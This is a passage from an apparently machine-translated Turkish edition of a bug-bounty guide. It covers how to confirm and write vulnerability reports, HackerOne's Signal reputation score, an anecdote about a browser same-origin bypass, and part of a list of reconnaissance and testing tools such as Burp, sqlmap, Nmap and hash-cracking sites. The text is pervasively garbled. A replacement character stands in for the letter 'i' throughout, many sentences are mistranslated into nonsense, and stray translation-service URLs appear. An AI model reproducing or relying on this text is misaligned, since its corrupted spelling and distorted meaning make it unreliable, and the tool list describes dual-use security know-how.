Ama sen yapmadıysan, ş�md� oku. Bulduğunların b�l�nmed�ğ� ve dışında olmadığından em�n ol.
onların programı.

İşte geçm�ş�mden acı ver�c� b�r örnek: İlk bulduğum güvenl�k açığı Shop�fy’daydı.
hatalı b�ç�mlend�r�lm�ş HTML'y� met�n düzenley�c�s�ne gönder�rsen�z, çözümley�c�ler� onu düzelt�r ve saklar
XSS. Heyecanlı değ�ld�m. Avlarım para ödüyordu. Raporumu gönderemed�m
yeter�nce hızlı.

Sev�nd�m, gönder düğmes�ne tıkladım ve 500 dolarlık lütfem� bekled�m. Bunun yer�ne, k�barca bana söyled�
B�l�nen b�r güvenl�k açığıydı ve araştırmacılardan göndermemeler�n� �sted�. B�let
kapattım ve 5 puan kaybett�m. B�r del�kte sürünmek �sted�m. Zor b�r derst�.

Hatalarımdan öğren�n, KILAVUZLARI OKUYUN!



Ayrıntıları Dah�l Et. Ardından Daha Fazla Dah�l Et.

Raporunuzun c�dd�ye alınmasını �st�yorsanız, aşağıdak�ler� �çeren ayrıntılı b�r rapor ver�n.
en azından:

• URL’y� ve güvenl�k açığını bulmak �ç�n kullanılan etk�lenen parametreler�
• Tarayıcı, �şlet�m s�stem� (varsa) ve / veya uygulama sürümünün açıklaması
• Algılanan etk�n�n açıklaması. Böcek potans�yel olarak nasıl sömürüleb�l�r?
• Hatayı yen�den oluşturma adımları
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Bu kr�terler Yahoo dah�l, Hackerone’dak� bell� başlı ş�rketler tarafından yaygındı.
Tw�tter, Dropbox, vb. Daha �ler� g�tmek �st�yorsanız, ekran görüntüsü eklemen�z� öner�r�m
veya kavramın b�r v�deo kanıtı (POC). Her �k�s� de ş�rketler �ç�n çok faydalıdır ve yardımcı olacaktır.
onlar güvenl�k açığını anlar.

Bu aşamada, s�te �ç�n çıkarımların ne olduğunu da düşünmen�z gerek�r. İç�n
Örneğ�n, Tw�tter’da depolanan b�r XSS’n�n
çok fazla kullanıcı sayısı ve aralarındak� etk�leş�m. N�speten, sınırlı b�r s�te
kullanıcılar arasındak� etk�leş�m, bu güvenl�k açığını c�dd� olarak görmeyeb�l�r. Buna karşılık, b�r g�zl�l�k
PornHub g�b� hassas b�r web s�tes�nde sızıntı Tw�tter'dan daha öneml� olab�l�r,
çoğu kullanıcı b�lg�s� zaten herkese açık (ve daha utanç ver�c�?).

Güvenl�k açığını onaylayın

Kuralları okudunuz, raporunuzu hazırladınız, ekran görüntüler� ekled�n�z. almak
b�r san�ye ve b�ld�rd�ğ�n şey�n aslında b�r güvenl�k açığı olduğundan em�n ol.

Örneğ�n, b�r ş�rket�n b�r CSRF bel�rtec� kullanmadıklarını b�ld�r�yorsanız
başlıklar, geç�r�len parametreler�n b�r bel�rteç �çer�p �çermed�ğ�n� kontrol ett�n�z m�?
CSRF bel�rtec� g�b� davranıyor ancak aynı et�kete sah�p değ�l m�?

Daha önce güvenl�k açığını onayladığınızdan em�n olmak �ç�n s�z� teşv�k edemem
raporu gönderd�n. Kayda değer b�r şey bulduğunu düşünmek oldukça büyük olab�l�r.
güvenl�k açığı yalnızca testler�n�z sırasında b�r şey� yanlış yorumladığınızı farketmen�z� sağlar.

Kend�n�ze b�r �y�l�k yapın, b�r dak�kanızı ayırın ve önünüzdek� güvenl�k açığını onaylayın
tesl�m et.

Ş�rkete Saygı Göster

HackerOne'un ş�rket oluşturma sürec�nde yapılan testlere dayanarak (evet, olarak test edeb�l�rs�n�z.
b�r araştırmacı), b�r ş�rket yen� b�r hata ödül programı başlattığında,
raporlarla doludur. Gönderd�kten sonra, ş�rkete �nceleme fırsatı ver�n
Raporunuzu ve s�ze ger� almak.

Bazı ş�rketler zaman ç�zelgeler�n� lütuf kurallarına eklerken, bazıları değ�ld�r.
Heyecanınızı �ş yükler�yle dengeley�n. B�rl�kte yaptığım konuşmalara dayanarak
HackerOne desteğ�, b�r ş�rketten haber almadıysanız tak�p etmen�ze yardımcı olur
en az �k� hafta



Bu rotaya g�tmeden önce, raporda k�bar b�r mesaj olup olmadığını sorun.
Güncelleme. Çoğu zaman ş�rketler cevap ver�r ve durumu s�ze b�ld�r�r. Eğer yapmazlarsa
Onlara b�raz zaman ver�n ve sorunu tırmanmadan önce tekrar deney�n. Öte yandan, eğer
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ş�rket bu güvenl�k açığını onayladı, düzeltmey� onaylamak �ç�n onlarla b�rl�kte çalışın
yapılır.

Bu k�tabı yazarken, yen� b�r üye olan Adam Bacchus �le sohbet edeb�lecek kadar şanslı oldum.
Baş Ödül Memuru unvanına sah�p olan Mayıs 2016’dan �t�baren HackerOne ek�b�n�n
Konuşmalarımız gerçekten gözler�m� böcek ödüller�n�n d�ğer tarafına açtı. B�raz
arkaplan Adam, Snapchat �le güvenl�ğ� arttırmak �ç�n çalıştığı deney�me sah�p.
üzer�nde çalıştığı yazılım mühend�sl�ğ� ek�pler� ve Google’ın bulunduğu ek�p
Güvenl�k Açığı Yönet�m Ek�b� ve Google Güvenl�k Açığı Ödülünün çalıştırılmasına yardımcı oldu
Programı.

Adam, tet�kç�ler�n yaşadığı b�r sürü sorun olduğunu anlamama yardımcı oldu.
aşağıdak�ler de dah�l olmak üzere b�r ödül programı yürütmek:

• Gürültü : Maalesef, hata ödül programları her �k�s� de çok sayıda geçers�z rapor alıyor
HackerOne ve BugCrowd bu konuda yazmışlar. B�l�yorum kes�nl�kle ...
kabarık ve umarım bu k�tap, yayınlanmasından kaçınmanıza yardımcı olur
s�z�n ve ödül programlarının masraflarını ve zamanını b�ld�r�r.

• Öncel�klend�rme : Ödül programları, güvenl�k açığına öncel�k vermen�n b�r yolunu bulmak zorunda
ıslahı. Benzerler� olan b�rden fazla güvenl�k açığınız varsa, bu zor
etk�s� ancak sürekl� gelen raporlarla b�r araya geld�ğ�nde, ödül programı karşısında
ayakta tutan c�dd� zorluklar.

• Onaylar : B�r raporu başlatırken, hataların doğrulanması gerek�r. Y�ne, bu alır
saat�. Bu nedenle b�lg�sayar korsanlarının açık tal�matlar vermes� ve
ne bulduğumuz, nasıl çoğaltacağımız ve neden öneml� olduğu hakkında açıklama.
B�r v�deo sağlamak sadece kesm�yor.

• Kaynak Bulma : Her ş�rket tam zamanlı çalışanı çalışmaya adamaya adamaz
b�r ödül programı. Bazı programlar tek b�r k�ş�n�n yanıt verd�ğ� �ç�n şanslı.
D�ğerler�n�n personel� zamanlarını ayırırken raporlar. Sonuç olarak, ş�rketler
�nsanların aldıkları programları döndürür ve raporlara yanıt ver�r. Herhang� b�r b�lg�
Gerekl� b�lg�ler�n sağlanmasındak� boşluklar veya gec�kmeler c�dd� b�r etk�ye sah�pt�r.

• Düzeltmey� yazmak : Kodlama, özell�kle tam b�r gel�ş�m yaşam döngüsü varsa, zaman alır.
hata ayıklama, regresyon testler� yazma, yerleşt�rme dağıtımları ve son olarak
üret�me �tmek. Pek� ya gel�şt�r�c�ler altında yatan sebeb� b�le b�lm�yorsa
güvenl�k açığı? Tüm bunlar, b�lg�sayar korsanları, sabırsız ve �stekl�yken zaman alır.
ödenecek. Açık �let�ş�m hatları anahtar ve tekrar, burada �ht�yaç
herkes�n b�rb�r�ne saygılı olması �ç�n.

• İl�şk� yönet�m� : Böcek ödül programları, b�lg�sayar korsanlarının ger� gelmes�n� �st�yor.
HackerOne, kırılganlığın etk�s�n�n b�lg�sayar korsanları olarak nasıl büyüdüğünü yazdı.
tek b�r programa daha fazla hata gönder�n. Sonuç olarak, ödül programlarının bulunması gerek�r.
Bu �l�şk�ler� gel�şt�rerek dengey� kurmanın b�r yolu.

• Basınla İl�şk�ler : B�r hatanın gözden kaçab�lmes� �ç�n her zaman baskı vardır;
çözülmek �ç�n uzun, ya da b�r ödül çok düşük olarak algılanır ve b�lg�sayar korsanları alacak
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Tw�tter ya da medyaya. Y�ne, bu durum tet�kley�c�lere ağırlık ver�r ve bunların nasıl etk�lend�ğ�ne etk� eder.
�l�şk�ler gel�şt�rmek ve b�lg�sayar korsanlarıyla çalışmak.

Tüm bunları okuduktan sonra amacım bu sürec� �nsancıllaştırmaya yardımcı olmak. Deney�mler�m oldu
tayfın her �k� ucunda, �y� ve kötü. Ancak, günün sonunda, b�lg�sayar korsanları
programlar b�rl�kte çalışacak ve zorlukları anlayab�lecek
Her b�r�n�n karşılaştığı durum, sonuçların �y�leşt�r�lmes�ne yardımcı olacaktır.

İkram�yeler�

Ödül kazanan b�r ş�rkete güvenl�k açığı gönderd�ysen�z, kararlarına saygı göster�n
ödeme tutarında.

Jobert Abma'ya (HackerOne'n�n Kurucu Ortağı) Quora'ya Göre Nasıl Olurum
Başarılı Hata Ödül Avcısı?1 :

Alınan b�r m�ktara katılmıyorsanız, neden buna �nandığınıza da�r b�r tartışma yapın.
daha yüksek b�r ödülü hak ed�yor. Başka b�r ödül �sted�ğ�n durumlardan kaçın
neden buna �nandığını açıklayamadan. Buna karşılık b�r ş�rket göstermel�
zamanınıza ve değer�n�ze saygı göster�n.

Gölet geçmeden önce Merhaba bağırmak yok

17 Mart 2016'da Math�as Karlsson potans�yel olarak har�ka b�r blog yazısı yazdı
Aynı Menşe İlkes� (SOP) bypass'ı bulma (aynı menşe pol�t�kası
web tarayıcılarının komut dosyalarının web s�teler�nden �çer�ğe er�şmes�ne nasıl �z�n verd�ğ�n� tanımlayın)
�çer�ğ�n b�r kısmını buraya eklememe �z�n verecek kadar. B�r kenara, Math�as b�r har�ka
HackerOne rekoru - 28 Mart 2016 �t�bar�yle, S�gnal’de yüzde 97’de,
HackerOne, Uber, Yahoo, CloudFlare g�b� ş�rketler� �çeren 109 böcek bulundu
vb.

Bu yüzden, “Gölet� geçmeden merhaba d�ye bağırmayın” demek İsveççe anlamına gel�r
Kes�n olarak kes�n olana kadar kutlamamalısın. Muhtemelen neden olduğumu tahm�n edeb�l�rs�n
Bu dah�l - hack tüm güneş ışığı ve gökkuşağı değ�ld�r.

Math�as'e göre, F�refox �le oynuyordu ve tarayıcının çalışacağını fark ett�.
hatalı b�ç�mlend�r�lm�ş ana b�lg�sayar adlarını kabul ett� (OSX’te), bu nedenle http://example.com ..
ple.com ancak ana b�lg�sayar başlığında example.com .. gönder�n. Daha sonra http://example.com ev�l.com adres�n� dened�.
ve aynı sonucu aldım.

1 https://www.quora.com/How-do-I-become-a-successful-Bug-bounty-hunter
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Flash'ın tedav� edeceğ� �ç�n bu SOP'n�n atlanab�leceğ�n� anında b�l�yordu.
http: //example.com..ev�l.com, * .ev�l.com etk� alanı altında olduğu g�b�. O kontrol ett�
Alexa en �y� 10000’ü buldu ve Yahoo.com dah�l s�teler�n% 7’s�n�n sömürüleb�l�r olacağını tesp�t ett�.

B�r yazı yazdı ama b�raz daha doğrulayıcı yapmaya karar verd�. B�r eş �le kontrol ett� -
�şç�, evet, onların Sanal Mak�nes� de hatayı doğruladı. F�refox, yup, bug güncellend�
hala oradaydı. Daha sonra Tw�tter hakkında bulgu hakkında �ma ett�. Ona göre, Bug =
Doğrulandı değ�l m�?

Hayır! Yaptığı hata, �şlet�m s�stem�n� en yen�s�ne güncellememes�yd�.
sürümü. Bunu yaptıktan sonra böcek ölmüştü. Görünüşe göre bu altı ay önce b�ld�r�ld�
ve OSX Yosem�te 10.10.5’e güncelleme sorunu çözdü.

Bunu, büyük b�lg�sayar korsanlarının b�le yanlış anlayab�leceğ�n� ve bunun öneml� olduğunu göstermek �ç�n ekled�m.
b�ld�rmeden önce b�r hatanın sömürülmes�n� onaylayın.

Bunu eklememe �z�n verd�ğ� �ç�n Math�as'e teşekkür eder�m - Tw�tter’a göz atmanızı öner�r�m
Math�as @ bu konuda yazdı @ avl�d�enbrunn ve labs.detect�fy.com besley�n.

Ayrılık Kel�meler

Umarım bu bölüm s�ze yardımcı olmuştur ve daha öldürücü b�r rapor yazmaya hazırsınız.
Göndermeye başlamadan önce, b�r dak�kanızı ayırın ve raporu gerçekten düşünün - eğer öyleyse
kamuya açıkladıysanız ve okudum, gurur duyar mısınız?

Gönderd�ğ�n�z her şey, ger�de durmaya ve haklı göstermeye hazır olmalısınız.
ş�rket, d�ğer b�lg�sayar korsanları ve kend�n. Bunu sen� korkutmak �ç�n söylem�yorum ama kel�meler olarak
Tavs�ye ben keşke başlangıç   olsaydı. Başladığımda kes�nl�kle şüphel� gönderd�m
raporlar çünkü sadece tahtada olmak ve yardımcı olmak �sted�m. Ancak, ş�rketler
bombardıman olsun. Tamamen tekrarlanab�l�r b�r güvenl�k hatası bulmak ve b�ld�rmek daha yararlıdır
Açıkça.

Gerçekten k�m�n umursadığını merak ed�yor olab�l�rs�n�z - ş�rketler�n bu çağrıyı yapmasına ve k�m�n umrunda olmasına �z�n ver�n.
d�ğer b�lg�sayar korsanlarının ne düşündüğü. Yeter�nce ad�l. Ama en azından HackerOne’da raporlarınız öneml�d�r -
�stat�st�kler�n�z �zlen�r ve geçerl� b�r raporunuz olduğunda, aleyh�n�ze kayded�l�r.
S�nyal, raporlarınızın değer�n�n ortalaması olan -10 �la 7 arasında değ�şen b�r stat:

• Spam gönder, sen -10 olsun
• Uygulanamaz olanı gönder, -5
• B�r b�lg�lend�rme gönder�n, 0 olsun
• Çözülmüş b�r rapor gönder�n, 7

Y�ne, k�m�n umrunda? S�gnal, ş�md� k�m�n Özel'e davet ed�ld�ğ�n� bel�rlemek �ç�n kullanılıyor.
programları ve kamuya açık programlara rapor göndereb�l�r. Özel programlar genell�kle
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b�lg�sayar korsanları �ç�n taze et - bunlar sadece böcek ödülüne g�ren s�teler.
program ve s�teler�n� sınırlı sayıda korsanlara açıyor. Bu, potans�yel demekt�r
daha az rekabete açık güvenl�k açıkları.

D�ğer ş�rketlere raporlama gel�nce - deney�m�m� b�r uyarı h�kayes� olarak kullanın.



Özel b�r programa davet ed�ld�m ve b�r gün �ç�nde sek�z güvenl�k açığı buldum.
Ancak, o gece, başka b�r programa b�r rapor sundum ve N / A ver�ld�.
Bu ben�m s�nyal�m� 0,96'ya çarptı. Ertes� gün özel ş�rkete rapor vermeye g�tt�m
y�ne b�r b�ld�r�m aldım - S�nyal�m çok düşüktü ve 30 gün beklemek zorunda kaldım
onlara ve 1.0 S�nyal gereks�n�m� olan herhang� b�r d�ğer ş�rketlere.

Bu berbat! Bu süre zarfında bulduğum güvenl�k açıklarını başka k�mse bulamazken,
bana mal olacaktı. Her gün rapor ed�p edemed�ğ�m� kontrol ett�m.
tekrar. O zamandan ber�, S�nyal�m� �y�leşt�rmeye yem�n ett�m ve s�z de yapmalısınız!

İy� şanslar avcılık!
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23. Araçlar

Aşağıda, güvenl�k açığı avcılığı �ç�n yararlı olan ve h�çb�r şek�lde kullanılmayan çamaşırhane l�stes� bulunmaktadır.
s�par�ş. Bazıları güvenl�k açıkları arama �şlem�n� otomat�k hale get�r�rken, bunlar
el �ş�, kesk�n gözlem ve sezg�sel düşüncen�n yer�ne geçmez.

Hackerone'un Kurucu Ortağı olan M�ch�el Pr�ns, katkıda bulunmaya yardımcı olduğu �ç�n çok teşekkür ed�yor
L�steye ve araçların etk�l� b�r şek�lde nasıl kullanılacağına da�r tavs�yeler sunmak.



Burp Sü�t�

https://portsw�gger.net/burp

Burp Su�te, güvenl�k test� �ç�n entegre b�r platformdur ve hemen hemen b�r zorunluluktur.
Başlıyorsun. Aşağıdak�ler dah�l faydalı olab�lecek çeş�tl� araçlara sah�pt�r:

• B�r s�teye gelen traf�ğ� denetlemen�ze ve değ�şt�rmen�ze olanak sağlayan b�r ara proxy sunucusu
• İçer�ğ� ve �şlevsell�ğ� taramak �ç�n Sp�der'ı tanıyan b�r uygulama (ya pas�f

veya akt�f olarak)
• Güvenl�k açıklarının algılanmasını otomat�kleşt�rmek �ç�n b�r web tarayıcı
• B�reysel talepler� yönetmek ve tekrar göndermek �ç�n b�r tekrarlayıcı
• Bel�rteçler�n rastgelel�ğ�n� test etmek �ç�n b�r sıralayıcı aracı
• İstekler� ve cevapları karşılaştırmak �ç�n b�r karşılaştırma aracı

New Boston’lu Bucky Roberts’ın Burp Su�te’te
Burp Su�te'e g�r�ş sağlayan https://v�meo.com/album/3510171.

ZAP Proxy

https://www.owasp.org/�ndex.php/OWASP_Zed_Attack_Proxy_Project

OWASP Zed Attack Proxy (ZAP) ücrets�z, topluluk tabanlı, açık kaynaklı b�r platformdur.
güvenl�k test� �ç�n Burp'a benzer. Ayrıca b�r Proxy dah�l olmak üzere çeş�tl� araçlara sah�pt�r,
Tekrarlayıcı, Tarayıcı, D�z�n / Dosya Bruteforcer, vb. Ayrıca eklent�ler� de destekler.
b�r gel�şt�r�c�, ek �şlevler oluşturab�l�rs�n�z. Web s�teler� çok yararlı
Başlamanıza yardımcı olacak b�lg�ler.
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Knockpy

https://g�thub.com/guelfoweb/knock

Knockpy alt tanımlamak �ç�n büyük b�r kel�me l�stes� üzer�nde y�neleme yapmak �ç�n tasarlanmış b�r python aracıdır
b�r ş�rket�n etk� alanları. Alt etk� alanlarını bel�rlemek, test ed�leb�l�r yüzey�n artmasına yardımcı olur
b�r ş�rket�n ve başarılı b�r güvenl�k açığı bulma şansını artırın.

Bu b�r G�tHub deposudur, bu da repoyu �nd�rmen�z gerekeceğ� anlamına gel�r (G�tHub
sayfanın nasıl yapıldığına da�r tal�matlar vardır ve Python'un kurulu olması gerek�r (vers�yonları �le test ed�lm�şlerd�r)
2.7.6 ve Google DNS kullanmanızı öner�r�z (8.8.8.8 | 8.8.4.4).

Host�leSubBruteforcer

https://g�thub.com/nahamsec/Host�leSubBruteforcer

@Nahamsec (Ben Sadegh�pour - har�ka adam!) Tarafından yazılan bu uygulama, �ç�n bruteforce olacak
varolan alt etk� alanlarını g�r�n ve IP adres�n� sağlayın, Ana B�lg�sayar ve doğru olup olmadığını
kurulum, AWS, G�thub, Heroku, Shop�fy, Tumblr ve Squarespace kontrol ed�n. Bu har�ka



alt etk� alanı devralmalarını bulma.

Subl�st3r

https://g�thub.com/aboul3la/Subl�st3r

README.md dosyasına göre, Subl�st3r, alt numaralandırmak �ç�n tasarlanmış b�r python aracıdır.
arama motorlarını kullanan web s�teler�n�n alanları. Penetrasyon test c�hazlarına ve böcek avcılarına yardımcı olur.
hedefled�kler� alan �ç�n alt alan adlarını toplayın ve toplayın. Şu anda Subl�st3r
aşağıdak� arama motorlarını destekler: Google, Yahoo, B�ng, Ba�du ve Ask. Daha fazla arama
gelecekte motor ekleneb�l�r. Subl�st3r ayrıca Netcraft'ı kullanarak alt etk� alanlarını toplar,
V�rustotal, ThreatCrowd, DNSdumpster ve Pass�veDNS.

Subbrute aracı bulma olasılığını artırmak �ç�n Subl�st3r �le bütünleşt�r�lm�şt�r.
Gel�şm�ş b�r kel�me l�stes� �le bruteforce kullanan daha fazla alt alan. Kred� g�der
Subbrute'un yazarı TheRook.

crt.sh

https://crt.sh

Sert�f�ka İşlem� günlükler�ne göz atmak �ç�n b�r arama s�tes�, �l�şk�l� alt etk� alanları ortaya çıkıyor
sert�f�kaları �le.
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IPV4�nfo.com

http://�pv4�nfo.com

Ph�l�ppe Harewood sayes�nde tekrar öğrend�ğ�m har�ka b�r s�te. kullanma
Bu s�tede, bel�rl� b�r sunucuda barındırılan alanlar bulab�l�rs�n�z. Yan�, örneğ�n, g�rerek
yahoo.com s�ze Yahoo'nun IP aralığını ve aynı alan adında sunulan tüm alanları verecekt�r.
Sunucular.

SecL�sts

https://g�thub.com/dan�elm�essler/SecL�sts

Tekn�k olarak başlı başına b�r araç olmasa da, SecL�sts b�rden fazla türden oluşan b�r koleks�yondur.
Hack sırasında kullanılan l�steler� Bu, kullanıcı adlarını, ş�freler�, URL'ler�, özet d�zeler�n� �çer�r,
ortak d�z�nler / dosyalar / alt alanlar vb. Proje Dan�el M�essler tarafından sağlanmaktadır.
ve Jason Hadd�x (ProT�ps # 5 m�saf�r Hack�ng)

XSSHunter

https://xsshunter.com

XSSHunter, Matt Bryant tarafından gel�şt�r�len b�r araçtır1 (esk�den Über güvenl�k ek�b�)
bu da, ne olursa olsun ateş göremed�ğ�n�z kör XSS açıklarını veya XSS'y� bulmanıza yardımcı olur.
sebep. XSSHunter'a kaydolduktan sonra, s�ze özel b�r xss.ht kısa alan adı ver�l�r.

https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=https://twitter.com/iammandatory


XSS'n�z� tanımlar ve yükünüzü barındırır. XSS patladığında otomat�k olarak
nerede gerçekleşt�ğ� hakkında b�lg� toplar ve s�ze b�r e-posta b�ld�r�m� gönder�r.

sqlmap

http://sqlmap.org

sqlmap, algılama �şlem�n� otomat�kleşt�ren açık kaynaklı b�r penetrasyon aracıdır.
SQL enjeks�yon açıklarından yararlanma. Web s�tes� de dah�l olmak üzere çok çeş�tl� özell�klere sah�pt�r.
�ç�n destek:

• Çok çeş�tl� ver�tabanı türler� (örneğ�n, MySQL, Oracle, PostgreSQL, MS SQL Server,
vb.)

1 https://tw�tter.com/�ammandatory
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• Altı SQL enjeks�yon tekn�ğ� (örneğ�n, boole bazlı kör, zaman bazlı kör, hata-
tabanlı, UNION sorgu tabanlı, vb.)

• Kullanıcıları, parola karmaşasını, ayrıcalıkları, roller�, ver�tabanlarını, tabloları ve
sütunlar

• Ve daha fazlası

M�ch�el Pr�ns’a göre sqlmap, SQL’�n kullanımını otomat�kleşt�rmede yardımcı oluyor
b�r şeyler� �spatlamak �ç�n yapılan enjeks�yon açıkları savunmasızdır, bu da çok sayıda el çalışmasını önler.

Knockpy'ye benzer şek�lde sqlmap Python'a dayanır ve W�ndows veya Un�x tabanlı olarak çalıştırılab�l�r.
s�stemler�.

Nmap

https://nmap.org

Nmap, ağ keşf� ve güvenl�k denet�m� �ç�n ücrets�z ve açık kaynaklı b�r yardımcı programdır.
S�teler�ne göre, Nmap, bel�rlemek �ç�n yen� yöntemlerle ham IP paketler�n� kullanır: - Hang�s�
b�r ağda ana b�lg�sayarlar var - Hang� serv�sler� (uygulama adı ve sürümü)
ana b�lg�sayarlar sunuyor - Hang� �şlet�m s�stemler�n� (ve sürümler�n�) çalıştırıyorlar - Hang� tür
Paket f�ltreler�n / güvenl�k duvarlarının kullanımda - Ve çok daha fazlası

Nmap s�tes�, W�ndows, Mac ve
L�nux.

görgü tanığı

https://g�thub.com/Chr�sTruncer/EyeW�tness

EyeW�tness, web s�teler�n�n ekran görüntüler�n� almak, bazı sunucu başlık b�lg�ler� sağlamak �ç�n tasarlanmıştır.
ve mümkünse varsayılan k�ml�k b�lg�ler�n� bel�rley�n. Hang� h�zmetler� tesp�t etmek �ç�n har�ka b�r araçtır
Ortak HTTP ve HTTPS bağlantı noktalarında çalışıyor ve d�ğer araçlarla b�rl�kte kullanılab�l�r.

https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=https://twitter.com/iammandatory


Nmap, b�lg�sayar korsanlığı hedefler�n� hızla numaralandırmak �ç�n.

Shodan

https://www.shodan.�o

Shodan, “Şeyler” �n �nternet arama motorudur. S�teye göre, “Kullan
Hang� c�hazlarınızın �nternete bağlı olduğunu, nerede olduklarını keşfetmek �ç�n Shodan
bulunduğu ve onları k�m kullanıyor ”. Bu, özell�kle keşfetmek �sted�ğ�n�zde yararlıdır.
Potans�yel hedef ve hedef altyapı hakkında mümkün olduğunca çok şey öğrenmeye çalışmak.
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Bununla b�rleşt�ğ�nde Shodan �ç�n hızlı b�r şek�lde �z�n veren kullanışlı b�r F�refox eklent�s�
bel�rl� b�r etk� alanı �ç�n er�ş�m b�lg�ler�ne Bazen bu mevcut l�manları ortaya çıkarır.
Nmap'a geçeb�l�rs�n.

Censys

https://censys.�o

Censys, araştırmacıların ev sah�pler� hakkında sorular sormalarını sağlayan b�r arama motorudur.
İnternet� oluşturan ağlar. Censys ana b�lg�sayarlar ve web s�teler� üzer�nden ver� toplar.
IPV4 adres alanının günlük ZMap ve ZGrab taramaları, ardından b�r ver�tabanının bakımı
Ana b�lg�sayarların ve web s�teler�n�n nasıl yapılandırıldığına

Hang� İYS

http://www.whatcms.org

Hang� CMS, b�r s�ten�n URL's�n� g�rmen�ze �z�n veren bas�t b�r uygulamadır ve ger� dönecekt�r.
S�ten�n kullandığı muhtemel İçer�k Yönet�m S�stem�. Bu b�rkaç nedenden dolayı yararlıdır:

• B�r s�ten�n hang� İYS'y� kullandığını b�lmek, s�te kodunun nasıl olduğu hakkında f�k�r ver�r.
yapılandırılmış

• CMS açık kaynaklıysa, güvenl�k açıkları ve test kodlarına göz atab�l�rs�n�z.
s�tede onları

• CMS'n�n sürüm kodunu bel�rleyeb�l�rsen�z, s�te olab�l�r
esk� ve açık güvenl�k açıklarına karşı savunmasız

Bu�ltW�th

http://bu�ltw�th.com

Bu�ltW�th, kullanılan farklı teknoloj�ler� parmak �z� �zlemen�ze yardımcı olacak �lg�nç b�r araçtır
bel�rl� b�r hedefe. S�tes�ne göre 18.000'�n üzer�nde �nternet türü kapsıyor.
anal�t�k, barındırma, hang� CMS vb

N�kto



https://c�rt.net/n�kto2
N�kto b�rden fazla sunucuya karşı test eden b�r Açık Kaynak web sunucusu tarayıcısıdır.
dah�l ürünler:
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• Potans�yel olarak tehl�kel� dosyalar / programlar
Sunucuların esk� sürümler�
• Vers�yona özgü problemler
• Sunucu yapılandırma öğeler�n� kontrol etme

M�ch�el’e göre, N�kto olmamalıdır dosyaları veya d�z�nler� bulmakta yardımcı oluyor
kullanılab�l�r (örneğ�n, esk� b�r SQL yedekleme dosyası veya g�t repo �ç�)

Recon ng

https://b�tbucket.org/LaNMaSteR53/recon-ng

Sayfasına göre, Recon-ng tam özell�kl� b�r Web Keş�f çerçeves�d�r
Python �le yazılmış. Açık kaynaklı web tabanlı güçlü b�r ortam sağlar.
keş�f hızlı ve ayrıntılı b�r şek�lde yapılab�l�r.

Recon-ng, ne yazık k�, nasıl bakmak �sted�ğ�n�ze bağlı olarak
Burada yeter�nce açıklayamayacağım çok fazla �şlev. Alt �ç�n kullanılab�l�r
etk� alanı bulma, hassas dosya bulma, kullanıcı adı numaralandırma, sosyal medyayı kazıma
s�teler vb

G�tRob

https://g�thub.com/m�chenr�ksen/g�trob

G�trob, kuruluşlara ve güvenl�k uzmanlarına yardımcı olab�lecek b�r komut satırı aracıdır.
G�tHub’da halka açık dosyalarda kalan hassas b�lg�ler� bulun. Aracı olacak
Tüm kamu kuruluşları ve üye depoları üzer�nde durun ve bunlara karşı dosya �s�mler�n� eşleşt�r�n
genell�kle hassas veya tehl�kel� b�lg�ler �çeren dosyalar �ç�n çeş�tl� modeller.

CyberChef

https://gchq.g�thub.�o/CyberChef/

CyberChef, her türlü kodlama / kod çözme alet�n� sağlayan İsv�çre çakısıdır. O da
d�ğerler�n�n yanı sıra sık kullanılanların b�r l�stes�n� kaydetmek, sonuçları �nd�rmek �ç�n �şlevsell�k sağlar
b�r şeyler.



Sayfa 217

Araçlar 205

Onl�neHashCrack.com

www.onl�nehashcrack.com

Çevr�m�ç� Hash Crack, ş�freler�n�z� kurtarmaya çalışan çevr�m�ç� b�r serv�st�r (karma
MD5, NTLM, Wordpress, vb.), WPA dökümler�n�z (el sıkışmalarınız) ve MS Of�s�n�z g�b�
ş�frel� dosyalar (yasal olarak elde ed�l�r). Ne tür b�r karma kullanımın kullanıldığını bel�rlemeye yardımcı olmakta fayda var.
B�lm�yorsunuz, 250'den fazla karma türünün tanımlanmasını destekl�yoruz.

�db

http://www.�dbtool.com

�db, �OS uygulaması güvenl�k değerlend�rmeler� �ç�n bazı genel görevler� bas�tleşt�rmeye yardımcı olan b�r araçtır ve
Araştırma. G�tHub'da barındırılıyor.

W�reshark

https://www.w�reshark.org

W�reshark, b�lg�sayarınızda neler olup b�tt�ğ�n� görmen�z� sağlayan b�r ağ protokolü anal�zörüdür.
ayrıntılı olarak ağ. Bu, b�r s�te yalnızca �let�ş�m kurmuyorsa daha kullanışlıdır.
HTTP / HTTPS. Başlıyorsanız, Burp Su�te’e bağlı kalmak daha yararlı olab�l�r.
s�te sadece HTTP / HTTPS üzer�nden �let�ş�m kuruyor.

Kova Bulucu

https://d�g�.n�nja/f�les/bucket_f�nder_1.1.tar.bz2

Okunab�len kovaları arayacak ve �ç�ndek� tüm dosyaları l�steleyecek havalı b�r araç. Yapab�l�r
ayrıca hızlıca var olan kovaları bulmak �ç�n kullanılır ancak l�steleme dosyalarına er�ş�m� reddeder.
kepçeler�, AWS CLI’y� kullanarak yazmayı test edeb�l�rs�n�z ve
K�ml�k Doğrulama Bölümü - HackerOne S3 Kovalarını nasıl hackled�m.

Web’de yarış

https://g�thub.com/�nsp3ctre/race-the-web

Web uygulamalarında yarış koşullarını test eden ve b�r kullanıcı göndererek daha yen� b�r araç
b�r hedef URL’ye (veya URL’lere) aynı anda bel�rt�len sayıda �stek ve ardından
Sunucudan gelen yanıtları benzers�z olup olmadığını ayrıştırır. B�r d�z� konf�gürasyon �çer�r
seçenekler.
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Google Dorks

https://www.explo�t-db.com/google-hack�ng-database

Google Dork�ng, b�lg� bulmak �ç�n Google tarafından sağlanan gel�şm�ş sözd�z�mler�n� kullanma anlamına gel�r.
hazır değ�l. Bu, güvenl�k açığı bulunan dosyaların bulunmasını, har�c� fırsatların bulunmasını �çereb�l�r
kaynak yükleme, vb.

JD GUI

https://g�thub.com/java-decomp�ler/jd-gu�

JD-GUI, Andro�d uygulamalarını keşfederken yardımcı olab�lecek b�r araçtır. Bu bağımsız b�r graf�ksel
CLASS dosyalarından Java kaynaklarını görüntüleyen b�r yardımcı programdır. Çok fazla tecrübem yokken
Bu araçla (henüz) umut ver�c� ve faydalı görünüyor.

Mob�l Güvenl�k Çerçeves�

https://g�thub.com/aj�nabraham/Mob�le-Secur�ty-Framework-MobSF

Bu, mob�l b�lg�sayar korsanlığı �ç�n yararlı b�r başka araçtır. Akıllı, heps� b�r arada b�r açık kaynak
